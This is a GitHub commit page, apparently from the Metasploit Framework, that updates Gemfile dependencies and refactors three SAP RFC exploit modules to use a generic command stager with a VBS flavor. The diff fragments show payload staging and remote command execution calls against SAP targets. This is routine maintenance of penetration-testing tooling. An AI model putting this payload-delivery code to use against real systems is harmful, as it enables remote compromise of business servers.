Skip to content

Commit 61d1eef

Browse files
committed
Update Cmdstager
1 parent c4c4ed1 commit 61d1eef

File tree

4 files changed

+16
-8
lines changed

4 files changed

+16
-8
lines changed

Gemfile

+4-2
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@ gem 'activesupport', '>= 3.0.0', '< 4.0.0'
66
gem 'bcrypt'
77
# Needed for some admin modules (scrutinizer_add_user.rb)
88
gem 'json'
9+
# Needed for Meterpreter on Windows, soon others.
10+
gem 'meterpreter_bins', '0.0.6'
911
# Needed by msfgui and other rpc components
1012
gem 'msgpack'
1113
# Needed by anemone crawler
@@ -23,7 +25,7 @@ group :db do
2325
# Needed for Msf::DbManager
2426
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
2527
# Database models shared between framework and Pro.
26-
gem 'metasploit_data_models', '~> 0.17.0'
28+
gem 'metasploit_data_models', '0.17.0'
2729
# Needed for module caching in Mdm::ModuleDetails
2830
gem 'pg', '>= 0.11'
2931
end
@@ -69,5 +71,5 @@ group :test do
6971
end
7072

7173
group :sap do
72-
gem 'nwrfc', :git => 'https://github.com/Meatballs1/nwrfc.git', :branch => 'unblock'
74+
gem 'nwrfc', '>= 0.0.6'
7375
end

modules/exploits/multi/sap/sap_rfc_abap_install_and_run.rb

+4-2
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote
2727

2828
Rank = GreatRanking
2929

30-
include Msf::Exploit::CmdStagerVBS
30+
include Msf::Exploit::CmdStager
3131
include Msf::Exploit::SAP::RFC
3232

3333
def initialize
@@ -83,14 +83,16 @@ def initialize
8383
[
8484
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '255']),
8585
], self.class)
86+
87+
deregister_options('CMDSTAGER::FLAVOR')
8688
end
8789

8890
def exploit
8991
if target.name =~ /Windows/
9092
linemax = datastore['PAYLOAD_SPLIT']
9193
vprint_status("#{datastore['rhost']}:#{datastore['rport']} [SAP] - Using custom payload size of #{linemax}") if linemax != 255
9294
print_status("#{datastore['rhost']}:#{datastore['rport']} [SAP] - Sending RFC request")
93-
execute_cmdstager({ :delay => 0, :linemax => linemax })
95+
execute_cmdstager({ :flavor => :vbs, :delay => 0, :linemax => linemax })
9496
elsif target.name =~ /Linux/
9597
print_status("#{datastore['rhost']}:#{datastore['rport']} [SAP] - Executing payload...")
9698
send_payload("#{payload.encoded} &")

modules/exploits/multi/sap/sap_rfc_sxpg_call_system.rb

+4-2
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote
2727

2828
Rank = GreatRanking
2929

30-
include Msf::Exploit::CmdStagerVBS
30+
include Msf::Exploit::CmdStager
3131
include Msf::Exploit::SAP::RFC
3232

3333
def initialize
@@ -88,6 +88,8 @@ def initialize
8888
[
8989
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '120']),
9090
], self.class)
91+
92+
deregister_options('CMDSTAGER::FLAVOR')
9193
end
9294

9395
def exploit
@@ -96,7 +98,7 @@ def exploit
9698
linemax = datastore['PAYLOAD_SPLIT']
9799
vprint_status("#{datastore['RHOST']}:#{datastore['RPORT']} [SAP] Using custom payload size of #{linemax}") if linemax != 120
98100
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} [SAP] Sending RFC request")
99-
execute_cmdstager({ :delay => 0, :linemax => linemax })
101+
execute_cmdstager({ :flavor => :vbs, :delay => 0, :linemax => linemax })
100102
when /Linux/
101103
opts = {
102104
:rhost => rhost,

modules/exploits/multi/sap/sap_rfc_sxpg_command_exec.rb

+4-2
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote
2727

2828
Rank = GreatRanking
2929

30-
include Msf::Exploit::CmdStagerVBS
30+
include Msf::Exploit::CmdStager
3131
include Msf::Exploit::SAP::RFC
3232

3333
def initialize
@@ -88,6 +88,8 @@ def initialize
8888
[
8989
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '248']),
9090
], self.class)
91+
92+
deregister_options('CMDSTAGER::FLAVOR')
9193
end
9294

9395
def exploit
@@ -97,7 +99,7 @@ def exploit
9799
linemax = datastore['PAYLOAD_SPLIT']
98100
vprint_status("#{datastore['RHOST']}:#{datastore['RPORT']} [SAP] Using custom payload size of #{linemax}") if linemax != 248
99101
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} [SAP] Sending RFC request")
100-
execute_cmdstager({ :delay => 0, :linemax => linemax })
102+
execute_cmdstager({ :flavor => :vbs, :delay => 0, :linemax => linemax })
101103
when /Linux/
102104
opts = {
103105
:rhost => rhost,

0 commit comments

Comments
 (0)